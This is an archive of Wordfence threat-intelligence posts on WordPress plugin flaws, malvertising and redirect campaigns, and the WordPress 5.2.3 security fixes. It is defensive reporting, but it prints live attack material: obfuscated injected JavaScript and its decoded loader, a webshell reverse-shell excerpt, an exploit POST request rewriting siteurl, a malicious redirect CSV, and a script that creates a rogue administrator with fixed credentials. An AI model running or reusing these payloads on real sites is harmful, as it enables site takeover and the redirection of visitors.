Quantcast
Channel: WordPress Security Archives - Wordfence
Viewing all 426 articles
Browse latest View live

Critical Vulnerability Patched in Ad Inserter Plugin

$
0
0
Description: Authenticated Remote Code Execution
Affected Plugin: Ad Inserter
Affected Versions: <= 2.4.21
CVSS Score: 9.9 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

On Friday, July 12th, our Threat Intelligence team discovered a vulnerability present in Ad Inserter, a WordPress plugin installed on over 200,000 websites. The weakness allowed authenticated users (Subscribers and above) to execute arbitrary PHP code on websites using the plugin. We privately disclosed the issue to the plugin’s developer, who released a patch the very next day.

This is considered a critical security issue, and websites running Ad Inserter 2.4.21 or below should be updated to version 2.4.22 right away. On the same day we discovered the vulnerability, Wordfence Premium customers received a new firewall rule to protect against exploits; free users will receive the rule after thirty days.

Ad Preview Prelude

Ad Inserter is an ad management plugin that supports all different kinds of ads and includes advanced options for inserting opt-in forms, header scripts, Javascript, CSS, HTML, PHP, analytics, tracking or advert code anywhere on the page. The plugin also has an ad preview feature which administrators can use to verify ad blocks are configured correctly before publishing them for site visitors to see.

Ad Inserter’s preview feature showing a test image

The preview feature is accessed via the ajax action ai_ajax_backend.

if (is_admin () === true) {
  add_action ('wp_ajax_ai_ajax_backend', 'ai_ajax_backend');
  add_action ('wp_ajax_ai_ajax',         'ai_ajax');
  add_action ('wp_ajax_nopriv_ai_ajax',  'ai_ajax');
}

Because the action is registered without the wp_ajax_nopriv prefix it is only accessible by authenticated users. By default, ajax actions registered in this way can be accessed by any logged-in user—Subscribers and above. If we take a closer look at the way this action was implemented, we can see that there is an additional security control in place: check_admin_referer().

function ai_ajax_backend () {
  global $preview_name, $preview_alignment, $preview_css;

//  check_ajax_referer ("adinserter_data", "ai_check");
  check_admin_referer ("adinserter_data", "ai_check");

  if (isset ($_POST ["preview"])) {
    $block = urldecode ($_POST ["preview"]);
    if (is_numeric ($block) && $block >= 1 && $block <= 96) {
      require_once AD_INSERTER_PLUGIN_DIR.'includes/preview.php';

The function check_admin_referer() is intended to protect against cross-site request forgery (CSRF) attacks by ensuring that a nonce (a one-time token used to prevent unwanted repeated, expired, or malicious requests from being processed) is present in the request. That’s great! However, we often see developers stop there, thinking that checking for a nonce is a sufficient form of access control. In practice, that can sometimes be true, assuming that the nonce is only made available to users with the appropriate privileges. The WordPress documentation makes it clear, though, that check_admin_referer() is not intended for access control, and this vulnerability is a good example of why misusing nonces for authorization is a bad idea.

Nonces can be Compromised

Another useful feature Ad Inserter provides is a debug mode for troubleshooting ad issues. Normally, these debugging features are only available to administrators, and when certain options are enabled a block of Javascript is included on nearly every page. That Javascript contains a valid nonce for the ai_ajax_backend action.

Javascript code revealing a valid nonce

Unfortunately, that debugging feature can be triggered by any user who has this special cookie!

Cookie: AI_WP_DEBUGGING=2

Clearly, nonces are no substitute for proper access control using current_user_can().

Previewing Malicious Payloads

With a nonce in hand—and a Subscriber or above user account—an attacker can now exploit the ad preview feature by sending a malicious payload containing arbitrary PHP code such as <?php echo file_get_contents('/etc/passwd'); ?>.

Ad Inserter’s preview feature showing the results of a malicious payload

Disclosure Timeline

July 12 – Vulnerability discovered by Wordfence Threat Intelligence Team
July 12 – Firewall rule released to Wordfence Premium users
July 12 – Plugin developer notified of the security issue
July 13 – Patch released
August 11 – Firewall rule becomes available to free users

Conclusion

In today’s post, we detailed an authenticated remote code execution flaw present in the Ad Inserter plugin. This flaw has been patched in version 2.4.22 and we recommend users update to the latest version available. Sites running Wordfence Premium have been protected from attacks against this vulnerability since July 12th. Sites running the free version of Wordfence will receive the firewall rule update on August 11th.

Thanks to the plugin’s developer, Igor Funa, for his extremely prompt response on a Saturday, and to James Yokobosky of the Wordfence Threat Intelligence team for his assistance in researching this vulnerability.

The post Critical Vulnerability Patched in Ad Inserter Plugin appeared first on Wordfence.


Recent WordPress Vulnerabilities Targeted by Malvertising Campaign

$
0
0

The Defiant Threat Intelligence team has identified a malvertising campaign which is causing victims’ sites to display unwanted popup ads and redirect visitors to malicious destinations, including tech support scams, malicious Android APKs, and sketchy pharmaceutical ads. This type of campaign is far from novel, but these attacks drew our attention.

By targeting a few recently disclosed WordPress plugin vulnerabilities, the attackers inject a JavaScript payload into the front end of a victim’s site. These injections each contain a short script which sources additional code from one or more third-party URLs. That code is executed when a visitor opens the victim website.

When the third party code executes in a visitor’s browser, it performs an initial redirect to a central domain, which then performs another redirect to a new destination based on a number of factors, notably the type of device in use by the redirected user.

The Wordfence firewall’s built-in protections block these malicious code injections for all users of our plugin, including free users.

In today’s post we’ll discuss the scope of this campaign, including the specific code injections used by the attackers as well as some detail regarding the infrastructure behind the redirects.

Recent Attacks Targeting Coming Soon and Maintenance Mode Plugin

In a disclosure last week, NinTechNet disclosed a vulnerability in the Coming Soon and Maintenance Mode plugin for WordPress. In their report, it was revealed that unauthenticated attackers could inject JavaScript payloads into a number of parameters on sites using vulnerable versions of the plugin. Shortly after the disclosure, our team identified a wave of attacks across our network.

<script type=text/javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>

Using input routes intended for custom CSS styling, the attackers attempted to inject obfuscated JavaScript payloads on a large number of sites, which would trigger for any user visiting an affected site.

Decoding this obfuscated script reveals that this code simply points to another URL containing a different JavaScript payload.

eval("var script = document.createElement('script');
script.onload = function() {
};
script.src = 'https://yourservice[.]live/place.js';
document.getElementsByTagName('head')[0].appendChild(script);");

The URL being sourced is one of several we’ve identified associated with this campaign, most of which do the same thing: perform a basic JavaScript redirect to a domain responsible for determining where the traffic should ultimately end up.

window.location.replace('http://4ksudckusdkc[.]space/r?token=47255dfb7dafd771473720052936d2541dceda7a');

When a visitor arrives at that address, which we’ve defanged to prevent accidental clicks, the site responds with a different script based on the User-Agent string associated with the request. A cookie is also set in the redirected browser in order to track repeat users.

The eventual destination sites vary in scope and intent. Some redirects land users on typical illegitimate ads for pharmaceuticals and pornography, while others attempt direct malicious activity against the user’s browser.

Some of the redirect landing pages attempt to social engineer their victims into clicking various page elements.

Earlier Attacks Targeted Other XSS Vulnerabilities

These attacks aren’t the first associated with this malvertising campaign. Several vulnerabilities disclosed over the past few months have been included in the attacker’s attempts to distribute these injections.

The vulnerabilities in question include Yellow Pencil Visual CSS Style Editor <= 7.2.0 – Unauthenticated Arbitrary Options Update, and Blog Designer <= 1.8.10 – Unauthenticated Stored Cross-Site Scripting (XSS).

The Yellow Pencil vulnerability is notable because, in most configurations, an attacker could enable new user registrations with Administrator privileges, leading to takeover of vulnerable sites. Instead of taking the sites over entirely, these attackers seem satisfied with the malvertising campaign by itself.

Campaign Hosting Popup Ad Code On Infected Sites

In addition to the redirects, this campaign includes the ability to inject popup ads into victims’ sites. The JavaScript code responsible for this has been identified on domains directly associated with the attacker, but we’ve also found injections sourcing these scripts from legitimate sites which were themselves infected by the attacker through other means.

function(e, t) {
                if (!e || !u(e, "array")) return;
                for (var n = 0; n < e.length; n++) e[n].addEventListener("mousedown", t, !0)
            }([t, r], c), e = function() {
                var e = r.createElement("script");
                for (var t in e.src = a, n) n.hasOwnProperty(t) && e.setAttribute("data-" + t.replace(/([a-zA-Z])(?=[A-Z])/g, "$1-").toLowerCase(), n[t]);
                i && e.setAttribute("data-loader-data", JSON.stringify(i));
                o.appendChild(e)
            }, "interactive" === r.readyState || "complete" === r.readyState ? e() : r.addEventListener("DOMContentLoaded", e)
    }({
        "domain": "tut-64[.]com",
        "cdnDomain": "mediasprucetree[.]com",
        "promoCdn": "mediaoaktree[.]com",
        "plToken": "b4c9dc3b4613a931cda646a6a5a8bb1185114458",
        "type": "under",
        "ipcSrc": "//mediaoaktree[.]com/pu-placer.js?t=1557247297"
    })
}]);

The file containing the snippet above, a beautified version of the code present at https://yourservice[.]live/ads.js, sources and injects further JavaScript from another domain related to the ad network. Once everything has triggered, the victim’s browser will open a selected address in a new tab the next time they click or tap the page.

The domain yourservice[.]live is a common source of scripts in this campaign, hosting both redirect and popup scripts. In the unrelated infected site we tested, only the popup code was present, also at /ads.js. The script was nearly identical to the one on yourservice[.]live, with only a few identifiers changed.

Attacks Coming From Web Host Networks

The majority of the XSS injection attempts tracked across this campaign were sent by IP addresses linked to popular hosting providers. With attacks sourced from IPs hosting several live websites, as well as our own evidence of infected sites associated with this campaign, it’s likely the threat actor is using infected sites to deliver XSS attacks by proxy.

In the infected site we had access to, we identified a few PHP shells which would have been capable of performing these attacks. These were fairly common types of webshells, and didn’t feature custom code specifically built to deliver XSS attempts, but could receive arbitrary commands from the attacker to launch the attacks.

if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
  cf('/tmp/angel_bc',$back_connect);
  $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
  cf('/tmp/angel_bc.c',$back_connect_c);
  $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  @unlink('/tmp/angel_bc.c');
  $res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}

For example, the code snippet above was pulled from an obfuscated webshell identified on the infected site. This code creates either a Perl or C file that will attempt to open a reverse shell connection back to the attacker’s machine. The attacker can then use this as a persistent connection to the infected host as long as the port remains open, even if the malicious PHP files have been removed.

Indicators of Compromise (IOCs)

If you’re responsible for the security of a website or network, or are just interested in tracking the campaign yourself, be on the look out for these indicators. Past behavior indicates that any of these indicators can be modified by the attacker at any time.

Domains

  • yourservice[.]live
    • Hosts several JavaScript files responsible for redirects and popup ads in current attacks.
  • app[.]caresearch[.]com[.]au
    • Hosts additional JavaScript used in earlier attacks for redirects.
  • 4ksudckusdkc[.]space
    • Initial redirect destination. Performs another redirect to a new location based on factors like User-Agent.
  • shakesmobi[.]com
    • Possible middleman destination. Users would be redirected here, then sent elsewhere.
  • mobnootiffy[.]com
    • Possible redirect destination. Attempts to trick victims into granting heightened access to their device.
  • mediaoaktree[.]com
    • Hosts code used in popup injections.
  • mediasprucetree[.]com
    • Hosts code used in popup injections.
  • tut-64[.]com
    • Referenced in popup code. Third party sources indicate a relationship with malicious APKs.

Attacking IPs

The following IPs have been linked to incoming attempts to distribute the campaign’s XSS payloads. We’ve included the service provider associated with each IP, as well.

  • 183.90.250.26
    • SAKURA Internet, Inc.
  • 104.130.139.134
    • Rackspace
  • 50.116.64.22
    • Bluehost
  • 45.33.78.213
    • Linode
  • 45.12.32.55
    • INTERNET IT COMPANY INC.

Malware Hashes

Malware files with the following MD5 hashes were identified on the site containing backdoor infections. The presence of these indicators may mean your server is being used to deliver XSS attacks to additional victim sites.

  • 87f66ca0fbedf8ccd1ff6cce56f44e1b
    • File upload script
  • 45916c4f66e63c183ac3a2bebcebc97b
    • Basic web shell
  • 62d6a449408698c4f1c70a721fb3adf5
    • Sophisticated web shell, capable of opening reverse shells
  • 4dac95dc72ebebc0b3bbd1f742d855d7
    • ads.js file, sourced by XSS-injected sites as part of popup campaign
  • a5250a26a4b1aaf4d078c206b0cfb72e
    • PHP file manager. Can upload, download, edit, and delete files on infected host.

Conclusion

In today’s post, we shared details of a malvertising campaign which exploits recently disclosed vulnerabilities in order to perform malicious redirects and display unwanted popup ads on victims’ sites. We believe the attackers are using a small array of compromised sites to perform these attacks in order to conceal the source of their activities.

Wordfence users have been kept protected from these attacks due to robust XSS protection built directly into the Wordfence firewall. This includes both premium and free users. If a future vulnerability isn’t covered by these built-in protections, our team will quickly release a new rule to address it.

This campaign is ongoing. We expect the threat actors will be quick to leverage any similar XSS vulnerabilities that may be disclosed in the near future. Be sure to check your WordPress sites for any available plugin and theme updates frequently. Even if an update’s changelog doesn’t mention a security fix, it’s possible the developer neglected to disclose the nature of the patch.

We will continue to track the behavior of this campaign as time goes on. As always, we’ll provide updates if there is noteworthy intelligence to be shared. In the meantime, please consider sharing this article in order to improve awareness of these attacks.

The post Recent WordPress Vulnerabilities Targeted by Malvertising Campaign appeared first on Wordfence.

Malicious WordPress Redirect Campaign Attacking Several Plugins

$
0
0

Over the past few weeks, our Threat Intelligence team has been tracking an active attack campaign targeting a selection of new and old WordPress plugin vulnerabilities. These attacks seek to maliciously redirect traffic from victims’ sites to a number of potentially harmful locations.

Each of the vulnerabilities targeted by this campaign have been public for some time, and Wordfence users are protected either by individual firewall rules or generic protections built into the plugin. Two of the vulnerabilities in question have firewall rules which are currently available to Premium users only:

  • NicDark Plugins – Unauthenticated Arbitrary Options Update
    • Though several individual plugins are affected, the vulnerability is the same across each and they are covered by a single firewall rule.
    • Affected plugin slugs are prefixed with nd-. Example plugins include Components For WP Bakery Page Builder (slug: nd-shortcodes), Booking (slug: nd-booking), Travel Management (slug: nd-travel), etc.
    • Firewall rule released for Premium users on July 30, 2019
    • Available for Free users starting August 29. 2019
  • Simple 301 Redirects Addon – Bulk Uploader <= 1.2.5 – Unauthenticated Options Update
    • Firewall rule released for Premium users on August 6, 2019
    • Available for Free users starting September 5, 2019

Each of these plugins have updates available which resolve the vulnerabilities. All WordPress users, regardless of firewall status, are advised to keep their plugins up-to-date at all times.

In today’s post we’ll look at the attacks associated with this campaign, and we’ll provide some useful indicators of compromise (IOCs) to assist in identifying similar activity.

Attacks Against NicDark Plugins

The vulnerabilities recently patched in plugins developed by NicDark are all exploited by very similar AJAX requests. In each case the plugin registers a nopriv_ AJAX action, which is accessible even by unauthenticated visitors, responsible for importing various WordPress settings. In these requests, key->value pairs of WordPress options and values are parsed out and applied directly to the affected site’s database.

For example, the following POST request is an attempt to attack the Travel Management plugin:

POST /wp-admin/admin-ajax.php?nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Range: bytes=0-1000000
Connection: keep-alive
Host: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 204

action=nd_travel_import_settings_php_function&nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1%26%5Bnd_travel_end_option%5D

In each case, the targeted plugin must be declared in both the action parameter and the GET query string parameter defining the new option values, such as this example’s nd_travel_value_import_settings.

Because these vulnerabilities allow unauthenticated users to modify arbitrary WordPress options, it’s possible for attackers to enable registration as an Administrator user. However, we don’t see that behavior associated with this attack campaign. Instead, as seen in the sample request above, the attackers are modifying the siteurl setting of the victim’s site. In this case, the new value is https://jackielovedogs.com/pret.js?l=1. A subsequent request would then make the same change for the home setting.

The result of this modification is that all of the victim site’s scripts will attempt to load relative to that injected path. For example, instead of a site’s jQuery script loading from https://example.com/wp-includes/js/jquery/jquery.js, it would instead cause the visitor’s browser to open the URL https://jackielovedogs.com/pret.js?l=1/wp-includes/js/jquery/jquery.js. In effect, this replaces all of a site’s loaded JavaScript with a file under the attacker’s control.

Attacks Against Simple 301 Redirects Addon – Bulk Uploader

The other most common attack vector we’ve tracked in this campaign is the Simple 301 Redirects – Addon – Bulk Uploader plugin, which recently patched a vulnerability allowing unauthenticated attackers to inject their own 301 redirect rules onto a victim’s site.

Vulnerable versions of the plugin would constantly listen for the presence of the POST body parameter submit_bulk_301. If this value is present, an uploaded CSV file would be processed and used to import a bulk set of site paths and their redirect destinations.

The following is an example of the CSV files attackers are attempting to upload:

/,https://developsincelock.com/54768?
*,https://developsincelock.com/5868?
/*,https://developsincelock.com/34234?

When a vulnerable site processes this CSV, the site will begin redirecting all of its traffic to the addresses provided.

Other Targeted Plugins

In addition to the primary two above, we have identified related attacks against a number of other formerly-vulnerable plugins, including (but not limited to):

Payload Behavior Analysis

The domains used by the attackers in performing these script injections and redirects rotate with some frequency. New domains appear every few days, and attacks involving older domains taper off. We provide a list of the domains we’ve identified in the IOC section below.

At this time, many of the redirect domains associated with these attacks appear to have been decommissioned, despite the fact that these domains still show up in active attacks at the time of this writing. For example jackielovedogs.com, which appeared in the example request in the ND plugin section above, appears to have been reclaimed by Registrar.eu, a reseller name used by ICANN registrar Openprovider.

Further analysis of this campaign’s long-term behavior is ongoing, and we will provide a followup report as necessary.

Indicators of Compromise (IOCs)

The following IOCs can be used in the process of identifying or tracking activity associated with this campaign.

IP Addresses

The attacks are distributed across a large number of IPs. The top 20 IPs associated with this campaign are listed below. Additionally, addresses listed in bold text appear in the list of IPs Attacking Most Sites as seen in the most recent Wordfence Weekly.

  1. 192.99.38.186
  2. 51.38.69.87
  3. 62.210.252.196
  4. 164.132.44.97
  5. 159.203.81.46
  6. 217.182.95.250
  7. 51.255.43.81
  8. 37.187.198.246
  9. 54.36.246.232
  10. 45.55.152.56
  11. 198.199.100.240
  12. 162.241.175.243
  13. 188.213.175.168
  14. 45.40.143.13
  15. 188.213.166.219
  16. 192.169.227.95
  17. 193.70.2.138
  18. 149.202.75.164
  19. 192.169.157.142
  20. 104.238.97.201

Domain Names

  • greatinstagrampage.com
  • gabriellalovecats.com
  • jackielovedogs.com
  • tomorrowwillbehotmaybe.com
  • go.activeandbanflip.com
  • wiilberedmodels.com
  • developsincelock.com

Conclusion

An active campaign is targeting a number of vulnerabilities in attempts to redirect victim sites’ visitors to potentially harmful destinations. The vulnerabilities in question have all been patched by their developers, so ensure all of your WordPress plugins are up to date. Wordfence Premium users who are unable to update are protected from all of these attacks, while Free users will gain access to these rules in the coming weeks.

Our investigation into these attacks is ongoing. We will continue to track further changes in the campaign’s infrastructure and will provide followup reports as necessary.

As always, please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Malicious WordPress Redirect Campaign Attacking Several Plugins appeared first on Wordfence.

Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

$
0
0

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins appeared first on Wordfence.

The WordPress 5.2.3 Security Release Unpacked

$
0
0

WordPress core version 5.2.3 has just been released. This is a security release which contains several fixes. I’m going to detail each of them below and unpack what each fix means and add any additional info that may be relevant.

Seven of the eight vulnerabilities fixed in this release are cross site scripting (XSS) vulnerabilities. Wordfence includes robust XSS protection in our free and Premium versions which will prevent exploitation of these vulnerabilities. The eighth is an open redirect vulnerability our team is monitoring to determine impact.

WordPress 5.2.3 Security Updates by the Numbers

This release contains eight security fixes which include seven XSS vulnerabilities and an open redirect. As a reminder, an XSS vulnerability is code that allows an attacker to send malicious output to a victim when they visit a website. This can happen because an attacker caused the site to store malicious data which is displayed later to a victim visitor (a stored XSS) or it can happen when an attacker crafts a link that displays malicious code when a victim visits that URL on a website (a reflected XSS).

If you’d like to go deep on cross site scripting (XSS), then visit our learning center article which explains exactly how cross site scripting vulnerabilities are created in PHP code.

This release arrived yesterday evening, so we are expecting full details of each of these vulnerabilities to be released by the researchers some time after the core release. This follows standard disclosure policy and gives WordPress users time to upgrade. In the meantime we will describe what we know about each vulnerability.

1. Cross Site Scripting in Post Previews by Contributors

This is a stored XSS. In examining a diff of the code changes, it appears that there was a stored XSS in the post-status field. That is, the field that stores the current status of a WordPress post. That field does not use a fixed list of possible values like a MySQL ‘enum’ data type, but rather reads the text value of the drop-down list and uses that.

This allows an attacker to create their own value for post-status and use that in a cross site scripting attack.

This is what the code diff looks like in post.js where the fix was implemented:

The attack vector in this case is that a contributor may be able to inject malicious code into post-status, which would then be viewed by a site admin with much higher privileges. That code would be executed by the admin with their privileges and the contributor, who is actually an attacker, would gain admin privileges by using the admin’s permissions to perform various actions.

Our team also speculates that this may be exploitable via malicious language packs, although we have not verified that attack vector.

This vulnerability was discovered by Simon Scannell of RIPS Tech.

2. Cross Site Scripting Vulnerability in Stored Comments

This appears to be a stored XSS and the announcement doesn’t provide any caveats with regards to user permissions. This is worrying because it suggests there is a stored XSS that affects the WordPress commenting system. This alone should strongly encourage users to upgrade ASAP.

The attack vector here would be an attacker posting a comment on a WordPress site and then someone with higher privileges like an admin viewing or moderating the comments and having code executed in their browser which could create a new admin user for the attacker.

This was also reported by Simon Scannell of RIPS.

3. Validation and Sanitization of a URL Leads to Open Redirect

An open redirect vulnerability is one that is often used in phishing campaigns. The vulnerability occurs when a website gives external users the ability to craft URLs that will redirect a visitor from the vulnerable website to any other URL.

In phishing attacks, an attacker will email a victim with the goal of getting them to click on a link. The link is to a trusted website which the victim recognizes. The attacker clicks on the link and one of several scenarios play out.

In a first scenario, the victim is taken directly to a malicious website where a vulnerability in their browser may be exploited.

In a second scenario, the victim may be asked to sign in to the legitimate website and is then directed to a malicious website where they may be asked to reenter their credentials. They may, for example, see a failed login screen and not realize they have been redirected. At this point their credentials are stolen.

In a third scenario, a victim may be redirected to a spam website after they clicked a link that was a URL to a trusted website with an open redirect.

There are many ways for attackers to exploit an open redirect and the severity of this vulnerability type should not be underestimated.

This vulnerability was disclosed by Tim Coen.

4. Reflected Cross Site Scripting During Media Uploads

This is another XSS which occurs during media uploads. In this case a user with lower privileges will upload media to the WordPress site which includes malicious code. This code would then be executed in the context of another user’s browser – and that user would have higher privileges.

In examining the code diff, it appears that until now, if you could jam an XSS payload into a media upload filename, this would result in an XSS. WordPress 5.2.3 no longer allows that attack vector.

This vulnerability was disclosed by Anshul Jain.

5. XSS in Shortcode Previews

Another XSS was fixed in the shortcode preview system. This vulnerability would allow a malicious user with lower privileges to inject code in a shortcode that, when previewed, would be executed in another user’s browser. If that user has higher privileges then the attacker may be able to perform actions as that user.

This vulnerability was discovered by Zhouyuan Yang.

6. XSS in the WordPress Dashboard

Ian Dunn from the WordPress Core security team discovered an XSS vulnerability in the WordPress dashboard. This vulnerability is a reflected XSS, which means that data is not stored, but rather is reflected back to a victim by an attacker. An example of this is if an attacker crafts a malicious link to the WordPress dashboard which causes their attack code to be executed in the browser context of the victim.

Full details of this vulnerability are not available yet, but what may be feasible here is for an attacker to provide a victim with a link to their own WordPress site dashboard. When the victim clicks the link, they visit their own site dashboard and actually execute malicious code, thereby granting the attacker access to their site. The malicious code may create an admin account, modify site content or perform other nefarious actions.

7. URL Sanitization XSS

Soroush Dalili from NCC Group disclosed an XSS vulnerability caused by URLs not being sanitized correctly.

8. jQuery Updated in Older WP Versions to Fix an XSS

jQuery is a javascript library used extensively by WordPress core and plugins and themes. A cross site scripting vulnerability was discovered in jQuery.extend and was fixed in jQuery 3.4.0.

WordPress uses it’s own WP specific version of jQuery. This fix in jQuery 3.4.0 which is detailed on the jQuery site in the changelog, was backported in to the WordPress version of jQuery. That version is listed as jQuery v1.12.4 in the source code comments. And they’ve updated the WordPress jQuery code without incrementing that version number.

Additional Notes

Change in edit-form-blocks.php

We also noticed a change in /wp-admin/edit-form-blocks.php which has switched from using file_exists() to is_file() in a conditional statement. Here is the diff:

